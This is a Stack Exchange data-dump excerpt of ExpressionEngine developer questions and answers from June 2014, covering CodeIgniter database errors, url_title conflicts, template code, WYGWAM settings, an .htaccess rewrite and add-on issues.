  <row Id="23922" PostTypeId="1" AcceptedAnswerId="24057" CreationDate="2014-06-24T10:28:45.450" Score="0" ViewCount="1842" Body="&lt;p&gt;I am trying to use one of stores hooks to insert data into the database when displaying the success page after paying online for an order and I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1096&#xA;No tables used&#xA;SELECT *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the function I am calling on the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook from store:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_order_complete_end($member_id) { // hook&#xA;    try {&#xA;        // generate coupon code&#xA;        $coupon_code = 'FLK-' . mt_rand(100000000, 999999999);&#xA;&#xA;        // generate coupon code until code is unique&#xA;        while ($this-&amp;gt;check_coupon($coupon_code)) {&#xA;            $coupon_code = 'FLK-' . mt_rand(100000000, 999999999);&#xA;        }&#xA;&#xA;        //-----------------------------------------------------&#xA;        // -- inserting into table exp_channel_titles --&#xA;        // retrieving the next available primary key value&#xA;        $entry_id = ee()-&amp;gt;db-&amp;gt;insert_id();&#xA;&#xA;        // array containing the data that will be inserted into the database&#xA;        $titles = array(&#xA;            'entry_id' =&amp;gt; $entry_id,&#xA;            'site_id' =&amp;gt; 1,&#xA;            'channel_id' =&amp;gt; 8,&#xA;            'author_id' =&amp;gt; $member_id,&#xA;            'ip_address' =&amp;gt; null,&#xA;            'title' =&amp;gt; $coupon_code,&#xA;            'url_title' =&amp;gt; strtolower($coupon_code),&#xA;            'status' =&amp;gt; 'open',&#xA;            'entry_date' =&amp;gt; strtotime('now')&#xA;        );&#xA;&#xA;        // insert coupon into table exp_channel_titles&#xA;        ee()-&amp;gt;db-&amp;gt;insert('exp_channel_titles', $titles);&#xA;        //-----------------------------------------------------&#xA;&#xA;        //-----------------------------------------------------&#xA;        // -- inserting into table exp_channel_data --&#xA;        // array containing the data that will be inserted into the database&#xA;        $data = array(&#xA;            'entry_id' =&amp;gt; $entry_id,&#xA;            'site_id' =&amp;gt; 1,&#xA;            'channel_id' =&amp;gt; 8,&#xA;            //'field_id_44' =&amp;gt; $assoc_product,&#xA;            'field_id_45' =&amp;gt; $member_id&#xA;        );&#xA;&#xA;        // insert coupon into table exp_channel_data&#xA;        ee()-&amp;gt;db-&amp;gt;insert('exp_channel_data', $data);&#xA;        //-----------------------------------------------------&#xA;        /// setting the return value if successful&#xA;        $this-&amp;gt;returndata = true;&#xA;&#xA;        // returning the data&#xA;        return $this-&amp;gt;returndata;&#xA;    } catch (Exception $err) {&#xA;        // returning the exception if any&#xA;        return $err;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Referenced function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function check_coupon($coupon_code) {&#xA;    try {&#xA;        // selecting the coupon code field&#xA;        ee()-&amp;gt;db-&amp;gt;select('title');&#xA;&#xA;        // building the conditions&#xA;        $query = ee()-&amp;gt;db-&amp;gt;get_where('exp_channel_titles', array('title' =&amp;gt; $coupon_code, 'channel_id' =&amp;gt; 8));&#xA;&#xA;        // retrieving the data into a variable&#xA;        $result = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get()-&amp;gt;result_array();&#xA;&#xA;        // return true if the coupon exist&#xA;        if (!empty($result)) {&#xA;            return true;&#xA;        }&#xA;&#xA;        // return false if the coupon does not exist&#xA;        return false;&#xA;    } catch (Exception $err) {&#xA;        // returning the exception if any&#xA;        return $err;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-28T17:55:09.483" Title="Error 1096 - No Tables Used - CodeIgniter" Tags="|expresso-store|ee2|error|codeigniter|activerecord|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23924" PostTypeId="1" AcceptedAnswerId="23966" CreationDate="2014-06-24T11:52:46.550" Score="2" ViewCount="442" Body="&lt;p&gt;I have used channels for different sections of a website, however I have noticed that if a channel entry has the same URL title of another entry in a different channel the &lt;code&gt;url_title&lt;/code&gt; field is not automatically incremented and the first entry results in a 404 error. Is there a way to automate this? This occurs even if a category url title is the same as a entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example; I have 2 channels, &lt;em&gt;your-life&lt;/em&gt; and &lt;em&gt;a-z&lt;/em&gt;; I have a category called &lt;em&gt;contraception in your-life&lt;/em&gt; and an entry in a-z named &lt;em&gt;contraception&lt;/em&gt;, both have the &lt;code&gt;url_title&lt;/code&gt; &quot;contraception&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I leave them both at &lt;em&gt;contraception&lt;/em&gt;, the SQL for the your-life category is as below, and the entries in this category do not appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(t.entry_id) FROM exp_channel_titles AS t&#xA;LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id&#xA;LEFT JOIN exp_channel_data AS wd ON t.entry_id = wd.entry_id&#xA;LEFT JOIN exp_members AS m ON m.member_id = t.author_id&#xA;INNER JOIN exp_category_posts ON t.entry_id = exp_category_posts.entry_id&#xA;INNER JOIN exp_categories ON exp_category_posts.cat_id = exp_categories.cat_id&#xA;WHERE t.entry_id !='' AND t.site_id IN ('1') AND t.entry_date &amp;lt; 1403708810  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1403708810) AND t.channel_id = '17' AND t.url_title = 'contraception' AND exp_categories.cat_id = '35' AND t.status = 'open'&#xA;ORDER BY t.sticky desc, wd.field_id_97 asc, t.entry_id asc&#xA;LIMIT 0, 100&#xA;#APP/modules/channel/mod.channel.php L:277  Channel::build_sql_query()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if I change the &lt;code&gt;url_title&lt;/code&gt; for the a-z entry to &quot;contraception1&quot;, the SQL is as below, and the entries in the category are shown&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(t.entry_id) FROM exp_channel_titles AS t&#xA;LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON t.entry_id = wd.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id INNER JOIN exp_category_posts ON t.entry_id = exp_category_posts.entry_id&#xA;INNER JOIN exp_categories ON exp_category_posts.cat_id = exp_categories.cat_id&#xA;WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1403709091  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1403709091) AND t.channel_id = '17' AND exp_categories.cat_id = '35' AND t.status = 'open'&#xA;ORDER BY t.sticky desc, wd.field_id_97 asc, t.entry_id asc&#xA;LIMIT 0, 100&#xA;#APP/modules/channel/mod.channel.php L:277  Channel::build_sql_query()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT//&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:layout == 'Horizontal'}&#xA;    &amp;lt;section class=&quot;container listing-block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-offset-1 col-xs-10&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;{embed:segment_1}&quot; category=&quot;{embed:category_id}&quot; orderby=&quot;yh_order&quot; sort=&quot;asc&quot;}&#xA;            &amp;lt;article class=&quot;listing&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;main-image&quot;&amp;gt;&#xA;                    {yh_images}&#xA;                    {yh_images:yh_listing_image}&#xA;                    &amp;lt;img src=&quot;{path}_listing/{filename}.{extension}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                    {/yh_images:yh_listing_image}&#xA;                    {/yh_images}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;listing-inner&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='{embed:segment_1}/single'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;a class=&quot;btn btn-primary pull-right&quot; href=&quot;{title_permalink='{embed:segment_1}/single'}&quot;&amp;gt;View more&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;{if:elseif embed:layout == 'Vertical'}&#xA;    {exp:channel:entries channel=&quot;{embed:segment_1}&quot; category=&quot;{embed:category_id}&quot; orderby=&quot;yh_order&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;section class=&quot;container pageBlock&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-offset-1 col-xs-10  panel pageBlock-{yh_colour}&quot;&amp;gt;&#xA;            &amp;lt;h1 class=&quot;text-center&quot;&amp;gt;&#xA;                {yh_icon}&#xA;                &amp;lt;img src=&quot;{path}_button/{filename}.{extension}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                {/yh_icon}&#xA;                {exp:filthy}{title}{/exp:filthy}&#xA;            &amp;lt;/h1&amp;gt;&#xA;            &amp;lt;article class=&quot;panel-body&quot;&amp;gt;&#xA;                {yh_leader_text}&#xA;                &amp;lt;a href=&quot;{title_permalink='{embed:segment_1}/single'}&quot; class=&quot;center-block btn btn-{yh_colour} filthy&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{if:elseif embed:layout == 'Icons'}&#xA;    {exp:channel:entries channel=&quot;{embed:segment_1}&quot; category=&quot;{embed:category_id}&quot; orderby=&quot;yh_order&quot; sort=&quot;asc&quot;}&#xA;        {if count == 1}&#xA;        &amp;lt;section class=&quot;container {if total_results % 3 == 0}fundraise-links{if:elseif total_results % 5 == 0}home-links{if:else}home-links join-in-links{/if}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row col-xs-offset-1 col-xs-10&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;        {/if}&#xA;                    &amp;lt;li class=&quot;text-center {yh_colour} fader&quot;&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='{embed:segment_1}/single'}&quot;&amp;gt;&#xA;                                {yh_icon}&#xA;                                &amp;lt;img src=&quot;{path}_button/{filename}.{extension}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                                {/yh_icon}&#xA;                                &amp;lt;h2 class=&quot;filthy&quot;&amp;gt;{exp:filthy}{title}{/exp:filthy}&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2912" LastEditorUserId="343" LastEditDate="2014-06-25T18:21:02.240" LastActivityDate="2014-06-27T19:29:01.950" Title="Is there a way to force EE to have unique url_titles for channel entries" Tags="|channel-entries|url-title|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="23925" PostTypeId="2" ParentId="23896" CreationDate="2014-06-24T11:57:47.183" Score="1" Body="&lt;p&gt;Turns out this is a known bug with 2.8.0+, affecting users with uri_protocol configuration setting set to ‘PATH_INFO’.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a patch available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20192/when-uri_protocol-is-path_info-cant-log-into-control-panel-disallowed-key-c&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20192/when-uri_protocol-is-path_info-cant-log-into-control-panel-disallowed-key-c&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3264" LastActivityDate="2014-06-24T11:57:47.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23926" PostTypeId="1" CreationDate="2014-06-17T10:38:10.433" Score="1" ViewCount="124" Body="&lt;p&gt;I wonder if there is a way to do this without using any modules. I can't seem to figure this out. I just want the regular_price + tax + shipping.&lt;/p&gt;&#xA;" OwnerDisplayName="user3542371" LastActivityDate="2014-06-24T12:28:55.917" Title="Expresso Store - Show product price with TAX and Shipping costs" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23927" PostTypeId="2" ParentId="23926" CreationDate="2014-06-22T23:34:00.903" Score="1" Body="&lt;p&gt;Shipping is calculated on a per-order basis, so you can't show what the shipping cost on an individual item is (once products are added to the cart, you can calculate the shipping for the whole order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display prices inclusive of tax, open Settings &gt; Taxes and click on your tax rate, then click &quot;included in price&quot;. You can then enter product prices inclusive of tax in the control panel, and these will also be displayed on your website's front end.&lt;/p&gt;&#xA;" OwnerUserId="150" OwnerDisplayName="Adrian Macneil" LastActivityDate="2014-06-22T23:34:00.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23928" PostTypeId="1" CreationDate="2014-06-24T12:50:28.097" Score="0" ViewCount="38" Body="&lt;p&gt;I have a sidebar on my website that is displaying entries using Playa, the client can create new entries for the sidebar, choose what sidebar entries they want to appear and order them however they like. This works but on pages/entries that have the same title the sidebar entries do not appear. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidebar Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; url_title=&quot;{embed:parent}&quot;}        &#xA;        {sidebar var_prefix=&quot;side&quot; transcribe=&quot;disable&quot;}&#xA;&#xA;            {side:if channel_short_name == &quot;sidebar_image_component&quot;}&#xA;            &amp;lt;div class=&quot;component&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;span class=&quot;headerIcon&quot;&amp;gt;{side:image_component_header_icon_code}&amp;lt;/span&amp;gt;{side:title}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;div class=&quot;arrowDown&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;img data-interchange=&quot;[{side:image_component_image:small}, (small)], [{side:image_component_image:medium}, (medium)], [{side:image_component_image:large}, (large)]&quot; alt=&quot;{side:title}&quot;&amp;gt;&#xA;                &amp;lt;noscript&amp;gt;&amp;lt;img src=&quot;{side:image_component_image:large}&quot;&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{side:image_component_text}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;a href=&quot;{side:image_component_page_link}&quot; class=&quot;siteButtonBlue&quot;&amp;gt;{side:image_component_link_text} &amp;lt;span&amp;gt;&amp;lt;i class=&quot;fa fa-arrow-right linkIcon&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/side:if}&#xA;&#xA;            {side:if channel_short_name == &quot;sidebar_text_component&quot;}&#xA;            &amp;lt;div class=&quot;component textComponent&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;span class=&quot;headerIcon&quot;&amp;gt;{side:text_component_header_icon_code}&amp;lt;/span&amp;gt;{side:title}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;div class=&quot;arrowDown&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{side:text_component_text}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;a href=&quot;{side:text_component_page_link}&quot; class=&quot;siteButtonBlue&quot;&amp;gt;{side:text_component_link_text} &amp;lt;span&amp;gt;&amp;lt;i class=&quot;fa fa-arrow-right linkIcon&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/side:if}&#xA;&#xA;            {side:if channel_short_name == &quot;mind_map&quot;}&#xA;            &amp;lt;div class=&quot;component&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;mindMap {side:mind_map_colour}&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;{side:title}&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;a href=&quot;{side:mind_map_page_link}&quot; class=&quot;siteButtonWhite&quot;&amp;gt;More Info&amp;lt;span&amp;gt;&amp;lt;i class=&quot;fa fa-arrow-right linkIcon&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/side:if}&#xA;&#xA;        {/sidebar}        &#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="898" LastActivityDate="2014-06-24T13:45:07.513" Title="Playa Children Entries not Displaying When Parent has Same Title as Another Entry" Tags="|playa|structure|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23929" PostTypeId="2" ParentId="10032" CreationDate="2014-06-24T13:37:12.437" Score="0" Body="&lt;p&gt;Just wanted to throw this out there in case some one else ran into it, but I had a similar issue and for some reason snippets were being created with incorrect permissions.  Making changes in the text editor appeared to be working correctly, while loading the same snippet via the EE edit panel &lt;code&gt;Design -&amp;gt; Templates -&amp;gt; snippets -&amp;gt; snippet name&lt;/code&gt; still showed the old code for that snippet.  Updating permissions solved this issue.&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2014-06-24T13:37:12.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23930" PostTypeId="2" ParentId="23820" CreationDate="2014-06-24T13:38:37.757" Score="0" Body="&lt;p&gt;The real problem: After trying to remove the index.php from the urls with a .htaccess file (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;), all the templates other than the homepage all gave 404s. I looked around, tried lots of different versions of the .htaccess code, and this one it worked. &lt;a href=&quot;https://expressionengine.stackexchange.com/a/871/3177&quot;&gt;https://expressionengine.stackexchange.com/a/871/3177&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^/index.php&#xA;RewriteCond $1 !.(css|js|png|jpe?g|gif|ico)$ [NC]&#xA;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked on both my local build with MAMP and my hosting on Bluehost, both in sub-directories.&lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-06-24T13:45:07.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23931" PostTypeId="1" AcceptedAnswerId="25686" CreationDate="2014-06-24T13:43:19.153" Score="1" ViewCount="282" Body="&lt;p&gt;We're looking for a way to register a user without requiring that they specify a password and instead mail them the password as part of the account verification process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even remotely possible with EE or a module like Expresso FreeMember?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-09-15T09:36:19.057" Title="Register user without password" Tags="|registration|password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23932" PostTypeId="2" ParentId="23928" CreationDate="2014-06-24T13:45:07.513" Score="1" Body="&lt;p&gt;It's ok, I was passing the url title in as a parameter, I've changed that to be the full url and it is working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2014-06-24T13:45:07.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23933" PostTypeId="1" AcceptedAnswerId="23936" CreationDate="2014-06-24T13:52:10.337" Score="2" ViewCount="549" Body="&lt;p&gt;If I add this code using WYGWAM source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Some&amp;lt;span class=&quot;blue-text long-word&quot;&amp;gt;Title&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and publish, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I go back and edit the entry and click source again all the classes are removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep WYGWAM from removing all my classes?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-06-24T14:19:36.743" Title="WYGWAM stripping classes and styles" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23934" PostTypeId="1" AcceptedAnswerId="23981" CreationDate="2014-06-24T14:00:43.307" Score="0" ViewCount="63" Body="&lt;p&gt;Not sure i am doing something silly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list all events from a specific day using low events.&#xA;So i have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events&quot; date=&quot;2014-06-26&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would expect this to return all events for that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one event with low events fields set to:&#xA;2014-06-26 - 2014-06-28 (all day ticked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i see the one event?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-06-25T17:41:13.470" Title="Low events entries not listing events" Tags="|low-events|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23935" PostTypeId="1" AcceptedAnswerId="24124" CreationDate="2014-06-24T14:03:42.140" Score="2" ViewCount="43" Body="&lt;p&gt;I am trying to get the maximum value of the entry_id within the exp_channel_titles field of an ExpressionEngine2 database using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;select_max('entry_id');&#xA;$query = ee()-&amp;gt;db-&amp;gt;get('exp_channel_titles');&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;   var_dump($query);&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above code only gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(CI_DB_mysql_result)[674]&#xA;  public 'conn_id' =&amp;gt; resource(45, mysql link)&#xA;  public 'result_id' =&amp;gt; resource(386, mysql result)&#xA;  public 'result_array' =&amp;gt; &#xA;    array (size=0)&#xA;      empty&#xA;  public 'result_object' =&amp;gt; &#xA;    array (size=0)&#xA;      empty&#xA;  public 'current_row' =&amp;gt; int 0&#xA;  public 'num_rows' =&amp;gt; int 1&#xA;  public 'row_data' =&amp;gt; null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I get the actual MAX value from the query?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-02T00:59:57.860" Title="Retrieving MAX Value Using ActiveRecord" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23936" PostTypeId="2" ParentId="23933" CreationDate="2014-06-24T14:19:36.743" Score="9" Body="&lt;p&gt;Go to &lt;em&gt;Add-ons &gt; Modules &gt; Wygwam &gt; Editor Configurations&lt;/em&gt; and select the configuration you want to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for the &lt;em&gt;Restrict allowed HTML?&lt;/em&gt; setting and make sure it is set to &lt;em&gt;No.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pw0o1.png&quot; alt=&quot;wygwam restrict html setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-06-24T14:19:36.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23937" PostTypeId="1" CreationDate="2014-06-24T15:50:47.113" Score="1" ViewCount="276" Body="&lt;p&gt;What I (or or customer) want to do is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An existing external API has regularly updated documents for different products&lt;/li&gt;&#xA;&lt;li&gt;The existing product channel in EE will hold an ID that is recognised by the API and will return (amongst other things) the external path to the document&lt;/li&gt;&#xA;&lt;li&gt;The existing product channel also has an asset field (pixel &amp;amp; tonic) that is able to store the file locally&lt;/li&gt;&#xA;&lt;li&gt;Now I want to update that file regularly (eg every 24h) by downloading it and storing it in the asset field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any ideas how it can programmatically insert or update files in a chosen Pixel &amp;amp; Tonic Asset field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2015-01-22T14:31:23.140" Title="Importing assets programmatically" Tags="|assets|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23938" PostTypeId="1" CreationDate="2014-06-24T16:58:19.237" Score="0" ViewCount="57" Body="&lt;p&gt;It's a EE multi-site, and I suspect that has something to do with the error, but not sure. I have 'msm_show_all' set to true in the config file. This is the error I get when any CartThrob link is clicked in the admin area: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The account you are attempting to access does not exist.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But under add-ons -&gt; modules it says it is installed successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2016-06-03T07:36:15.940" Title="After CartThrob install, everything under ecommerce tab leads to account not found error" Tags="|cartthrob|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23939" PostTypeId="1" AcceptedAnswerId="24003" CreationDate="2014-06-24T17:36:48.627" Score="0" ViewCount="18" Body="&lt;p&gt;I apply a particular fieldgroup, &quot;Common&quot;, to about 15 channels. I've customized my tabs and locations of the fields to make it easier to use. Every time I add a field, it's added to the bottom of the Publish tab, then I move it somewhere else. I don't mind doing this, but I do it times 15 channels, so it gets tedious. Is there any easier way?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-06-26T11:43:39.123" Title="Can I update a customized fieldgroup GUI across multiple channels?" Tags="|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23940" PostTypeId="1" AcceptedAnswerId="23942" CreationDate="2014-06-24T17:51:10.750" Score="0" ViewCount="141" Body="&lt;p&gt;I've got Solspace Calendar set up and working using the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag but I can't get a custom field for location to show up. I've even got the &lt;code&gt;enable='custom_fields'&lt;/code&gt; parameter set. Shows up like this at the moment: &lt;a href=&quot;http://cl.ly/image/1I2E411L0m0b&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1I2E411L0m0b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.8.1, Calendar 1.8.9. Here's the code: &lt;a href=&quot;http://pastie.org/9320357&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/9320357&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events channel is the default one that is installed when you install Calendar with a short name of calendar_events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the custom field short name to something else (like &quot;my_event_location&quot;) and that doesn't fix it.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-07-24T19:50:57.357" Title="Solspace Calendar not showing custom field" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
